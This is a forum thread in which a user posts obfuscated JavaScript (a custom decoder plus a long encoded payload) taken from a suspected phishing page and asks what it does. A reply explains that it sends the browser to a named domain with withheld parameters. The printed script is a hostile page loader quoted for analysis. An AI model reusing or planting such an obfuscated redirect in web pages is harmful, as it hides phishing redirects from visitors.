Javascript decryption help...

[blondends]

Hi All,

I have got the following Javascript which I have taken from a possible Phishing/SPAM webpage. Can anyone help me decypher what is contained in the script?


<script language=JavaScript> function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,13,40,48,22,33,19,15,10,35,0,0,0,0,0,0,34,46,8,25,17,56,54,21,47,4,24,52,55,45,44,58,36,1,6,16,11,18,43,20,26,12,27,0,0,0,0,57,0,5,32,7,53,50,62,29,51,23,0,61,31,3,60,30,2,41,9,39,38,42,14,37,59,49,28);for(j=Math.ceil(l/b);j>0;j--) {r='';for(i=Math.min(l,b);i>0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])<<s;if(s) {r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("atCxy9oOaF1erHNdlevEZfXtMmv_5H_VCR7xysvEZRv3BVz5G6N3jsq@yhonqmftH4J5a4J5a4J5atqkyhlObiJKzi13J8JKjLgK8XNd4TEtH4J5a4J5a4J5a4J5aevE_0qyrhY3TcM_IiMdaOkyjLYy6hNei0rKisz9RRY3m6YKrcM5RsYhjHzKR6zd4hBFH4J5a4J5a4J5atq@Fc70qmftHtq@Mmv_5H_VCoAO5h0tHtrxb0qyrhY3TcM_IiMdaeoEJo2etsYhjHzKt6zd4lJ58AC5HtqdRl1hGcg5Dhgdj9_5DmzLDVEhI71y4ZndYigKc4JeIHN3S6N3j9_5H6nKIZHyihzdDlEtH4EKIlg5PZzKYVneyhgdj9Cwo4EVav1yii2_@hAfG6ndI9YtcuCKzi13Jo2sa4EVH4E3SHNyDhNeTi2EjcknjlMdYVne1XoOFhoEYfX5a42LH4J5a4J5a4J5a4J5aen3aF2etsYhjHzKt6zd4HBh4ZAeBiMeTmneDhfe4c1yrsY3QL2_qZ7x5sE5tVYeGVnejHzKNcf5YeEVa4J5a4J5a4J5a4J5a4J5ol13DmkdTi2etsYhjHzKt6zd4H23jcM_89zd8HY3TcknjlMdYVne1XoOFhoEro2_89zd8HY3Tc1x5lB9TXgdrhzK1oJ@ce2sJ0X5a4J5a4J5a4J5a4B3rZ13H4J5a4J5a4J5a4J5a4J5aOkdjc1KiHz5PlkdIhg9GtJwr4C@Ge2sJ0X5a4BFHfX5mmkeRc1h8Hz5@mzKOT7hTV0njlMdYVne1evEO713iZ19H4J5aOkVa4J5a4BhmiJ9NmAf6mnd4HBhTcY3gVf3182nYHz38TMdaerPpeJ5I@C5BUr9ao13DmkdTiE5zp_5H4J5a4J5jsNdjiBhmiJ9NmAf6mnd4HBhTcY3gVf3182nYHz38TMdaAonaRqbY4B5J4B@WeJ5imzKSlkeaoEOylEVa4J5a4B3rZ13aen3aFBxbV0KjlMdTeneQmzLu7z9p87hTiBsgiJPTeqbY4B5J4B@WeJ5imzKSlkeaoBOblEVa4J5a4B3rZ13aen3aFBxbV0KjlMdTeneQmzLu7z9p87hTcNeUZg5zFqbY4B5J4B@WeJ5imzKSlkeaoBsgoEVa4J5a4B3rZ13aen3aFBxbV0KjlMdTeneQmzLu7z9p87hTcNeUZg5Vcl5SAJwpeJ5I@C5BUr9ao13DmkdTiE5iOf5H4J5a4J5jsNdjiBhmiJ9NmAf6mnd4HBhTcY3gVf3182nYHz38TMdaAonap_@W8B9aUBta@BwY4Edjc1KiHz5cFlkcfX5a4J5apze4mz5Y7z51evEO713iZk@YHz3jLMOmL2behneQVNK4iEOyiBPToqbY4B5J4B@WeJ5imzKSlkeaoEwAZ_5H4J5a@kVH4J5H4EKIlg5tTvxOZHyihzdD9_51cgKG0q@88MKUH2Kj6zeDLNyimYyDVndImk@8lM38XN3Y9EyYHN@Ymzw64rsTXN3Yl2sH4BhmiJ9T6nKYTYyDVndTUzdGHvyBmYtJoBOYZnd8ZMemcg5NHzKjlkejcg5bLgdrVndjlk5YfX5a42LH4J5a4J5H4J5a4J5av1yiiBxb713iZ1h8HYtT6nKYTYyDVndTUzdG773iZ1h8HNsH4J5a4J5av1yiiBxbigeIck38l1eJAYy6hN3IcMeiHJdr6zKmVndBx_Va4J5a4J5Y7z51evEGsYyD7Nei9n@4mYyiZzh1o2nYHNwioB9aUBta@BwYfX5a4J5a42LH4J5a4J5a4J5av1yii2nYHNOF9qEjcMfehneO773iZ1h8Hz9NmfKjlMdYVneYO_Va4J5a4J5a4J59mger773iZ1h8HYtRsYhjHzKNHn38l1eIc1h8Hn@Iigd2hne8lknjlMdYVneofX5a4J5a4J5a4JkIcMy1svh4c1t9mger773iZ1h8Hn@4igeYcg9cO_5YO_Va4J5a4J5a4J5H4J5a4J5a4J5av1yiiJ0dVHkdlqfG6zKRLY3Q9CwofX5H4J5a4J5a4J5aen3aF2nYHNOFiBtJ4E5ki05YfX5a4J5a4J5a42LHfX5a4J5a4J5a4J5a4E38lg51v1yiiBhJ4qsaez5C4JkIcMy1svh4ck@rmnepcgho4BhvOB9H4J5a4J5a4J5a4J5aOg5afX5a4J5a4J5a4J5a4J5a4J5Y7z5147yDZzhqhNdDx7hE9rtcXlkioB9H4J5a4J5a4J5a4J5a4J5a42La4J0dVHkdlqfG6zKRLY3Q9rwo4BFH4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5a4EVa4J5a4J5a4J5a4J5J0X5a4J5a4J5a4BFH4J5a4J5a4J5a4J5a4J5a4EVa4J5a4J5a4J566ndaffn2V0KjlMda4Bta8v3D773iZ1h8Hz9cOgwgoowbmq_G@JP9Zf_BUrwt7v@P6v_S@JwGRCwWXfPGFrPG4rFce2safX5a4J5a4J5a4BhmiJ91ffn2V0KjlMdfirfI@CwYvEb1ffn2V0KjlMdflrfCXCsW4r9YfX5a4J5a4J5a42La4B_Rc1h8Hznzi13JUqsa4BFa4J5afX5a4J5a4J5a4B3rZ13a4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5a42@84BhmiExh9o5J4BPT4_@4FrwGAJwaundaFYhpLY3i0X5a4J5a4J5a42LafX5a4J5a4J5a4J5a4BhmiJ9kiHfFi0wOi1yDZzhjcYtJ4r9H4J5a4J5a4J5a4J5aOkVa4J5a4J5a4J5a4J5a4J5PZzKYVneyhgdj9_wofX5a4J5a4J5a4J5a4BFH4J5a4J5a4J5a4J5apze4mnVa4J5a4J5a4J5a4J5oiEVa4J5a4J5a4J5a4J5a4J5PZzKYVneyhgdj9qwofX5a4J5a4J5a4J5a4BFH4J5a4J5a4J5a@g5H4J5a4J5a4J5a4EVa4J5a4J5afX5a4J5a4J5a42dUhzKRLz51UAyDhNeTc7LGmY9H4J5a4J5a4J5aOkVa4J5a4J5a4J5a4J5aXYy4mz5aU_sH4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5tTvxOi1yi6YeJXAENVldIl1yBxE52Zlw4@BwWo2sH4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5cl13IxNsH4J5a4J5a4J5a4J5a42yIZ13a4EwlfX5a4J5a4J5a4J5a4J5a4J5a4J5a4J5aXAENVldIl1yB9q_@hAfG6ndI9N9c@AkGvr@GUCPcO_Va4J5a4J5a4J5a4J5a4J5a4J5a4J5a4EyimYyvx_Va4J5a4J5a4J5a4J5aXYy4mz5aX_sH4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5tTvxOi1yi6YeJXAENVldIl1yBxE52Zlw6@J02sfOFl2sH4J5a4J5a4J5a4J5a4J5a4J5a4J5a4J5cl13IxNsH4J5a4J5a4J5a4J5a4J3j7YySszKlfX5a4J5a4J5a4J5a4J5a4J5a4J5a4J5aondj6Nho4J5a4J5a4J5a4J5a4J5a4J5a4EVa4J5a4J5a4J5a@kVa4J5a4J5a4EVa4J5a4J5a4J5mVndaFEKIlg5Y9Cwo4BhatC5d6zKRLzOYZgKTtY3TTzK1xC5Yx29YfX5a4J5a4J5a42La4EVa4J5a4J5a4J5a42kjlkKYZY3d6Nyv9CkIcMy1svh4cM0Y9HsH4J5a4J5a4J5a4J579qkjlkKYZY3d6NyvHBhTcY3gVf3182kdTB9ofX5a4J5a4J5a4J5aen3aFEhaUBta@BwYfX5a4J5a4J5a4J5aOg5afX5a4J5a4J5a4J5a4J5aX73i71hRmzkIZNhJX73i71hRmzkIZNhTX1KcZgKiLEhYO_Va4J5a4J5a4J5a4J5a42_@hAfG6ndI9YttTvxOi1yi6Yev8EbpO2kjlkKYZY3d6NyvxC5H4J5a4J5a4J5a4J5J0X5a4J5a4J5a4BFHfX5a4J5a4BFH4J5a@kVa4J5jsNdjiBhmiJ9T6nKYTYyDVndTUzdGHvyBmYtJoEOjcMdR6zdjlB9H4J5aOkVa4J5a4J5afYtT6nKYTYyDVndTpMdjl1_pmneDHBhTcY3gVf318EEYl13mVzLpe2sHfX5a4J5a4J5Y7z51fz5I@C5BUr9H4J5a4J5a42LH4J5a4J5a4J5a4EhJfN9cvvhimn38LM@cAJejHN3DLNsH4J5a4J5a4J5a4EKIlg597AfT6Yej9_eI71hp6zK8lk@SZ13i6A3jHzKTX1KcZgKiLEhYO_Va4J5a4J5a4J5aOYt97AfT6YejHBhTcY3gVf31oJ5ce2sH4J5a4J5a4J5a4BhmiJ9viB5J4B@WeEVa4J5a4J5a4J5aOkVa4J5a4J5a4J5a4J5avfEOHYyBmYt97AfT6YejH2dSlNdDlg9Gt2hYOC5H4J5a4J5a4J5a4BFH4J5a4J5a4J5a4EE9V0KjlMdJvfEOHYyBmn@4igeYcg9cAE5YO_Va4J5a4J5a4J5aen3aFEE9V0KjlMdflrfa@rtapkeQmn3YHY3QhEVa4J5a4J5a4J5aOkVa4J5a4J5a4J5a4J5avfEO713iZM0i@7tGO_Va4J5a4J5a4J5a@g5a4J5afOVa4J5a4J5a4J5aen3aFEE9V0KjlMdfirfJ@CwYfX5a4J5a4J5a4J5o0X5a4J5a4J5a4J5a4J5tTvxOi1yi6YeJXAENVldIl1yBxE527AkPlCwGpr@S4_5o4EVa4J5a4J5a4J5a@kVa4J5a4J5a4J5apze4mz5Y7z51vfEO713iZM0G@l5J@C5WeEVa4J5a4J5a4J5aOkVa4J5a4J5a4J5a4J5a4J5Y7z51FEE9V0KjlMdf6rfJ@CwYvEb1vfEO713iZM0i@ltSeB9afX5a4J5a4J5a4J5a4J5a42LH4J5a4J5a4J5a4J5a4J5a4J5aXAENVldIl1yB9q_@hAfG6ndI9N9c@fEF6fwG4rPBpCwcO_Va4J5a4J5a4J5a4J5a4J5J0X5a4J5a4J5a4J5a4J5a4B3rZ13H4J5a4J5a4J5a4J5a4J5aOkVa4J5a4J5a4J5a4J5a4J5a4J5tTvxOi1yi6YeJXAENVldIl1yBxE52Zlw6@JwGv_5o4J5a4J5H4J5a4J5a4J5a4J5a4J5a@kVa4J5a4J5a4J5a@kVa4J5a4J5a@kVH4J5a@g5HfX5a42KYHz38Tk@rVNyIc1h8HYttTvxOZHyihzdDx2_@hAfG6ndI9NsHtq@4ZndYigKZfXt8oAO5h0tHtq@Mc7OqH_V") </script>

Thanks in advance,

Chris

 

[BillyRayPreachersSon]

It tells your browser to visit a web page at the following domain:

http://www.wealthcreatorau.org/

with a bunch of extra parameters (which would be irresonsible of me to post, given that you've said they're from a phishing site).

Dan

Coedit Limited - Delivering standards compliant, accessible web solutions

[tt]Dan's Page [blue]@[/blue] Code Couch

http://www.codecouch.com/dan/

[/tt]

 

[BillyRayPreachersSon]

Did that help, or did you need any more information on the attack / site?

Dan



Coedit Limited - Delivering standards compliant, accessible web solutions

[tt]Dan's Page [blue]@[/blue] Code Couch

http://www.codecouch.com/dan/

[/tt]